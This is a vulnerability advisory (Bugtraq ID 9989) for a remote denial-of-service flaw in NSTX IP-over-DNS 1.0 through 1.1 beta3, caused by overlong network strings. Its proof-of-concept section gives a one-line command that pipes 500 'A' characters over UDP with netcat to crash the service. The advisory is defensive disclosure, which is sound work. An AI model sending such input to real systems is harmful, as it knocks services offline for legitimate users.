NSTX Remote Denial Of Service Vulnerability

BID:9989

Info

NSTX Remote Denial Of Service Vulnerability

Bugtraq ID: 9989
Class: Failure to Handle Exceptional Conditions
CVE:
Remote: Yes
Local: No
Published: Mar 26 2004 12:00AM
Updated: Mar 26 2004 12:00AM
Credit: Discovery of this issue is credited to laurent oudot <[email protected]>.
Vulnerable: Nstx IP Over DNS Utility 1.1 beta3
Nstx IP Over DNS Utility 1.1 beta2
Nstx IP Over DNS Utility 1.1 beta1
Nstx IP Over DNS Utility 1.0
Not Vulnerable: Nstx IP Over DNS Utility 1.1 beta4

Discussion

NSTX Remote Denial Of Service Vulnerability

It has been reported that NSTX is prone to a remote denial of service vulnerability. This issue is due to a failure of the application to handle network strings of excessive length.

This issue may allow a remote attacker to cause the affected process to crash, denying service to legitimate users.

Exploit / POC

NSTX Remote Denial Of Service Vulnerability

The following proof of concept has been provided:

remote-hacker$ perl -e '{ print "A" x 500 }' | nc -u www.example.com

Solution / Fix

NSTX Remote Denial Of Service Vulnerability

Solution:
The vendor has released an upgrade dealing with this issue.


Nstx IP Over DNS Utility 1.0

Nstx IP Over DNS Utility 1.1 beta2

Nstx IP Over DNS Utility 1.1 beta3

Nstx IP Over DNS Utility 1.1 beta1

References

NSTX Remote Denial Of Service Vulnerability

References:
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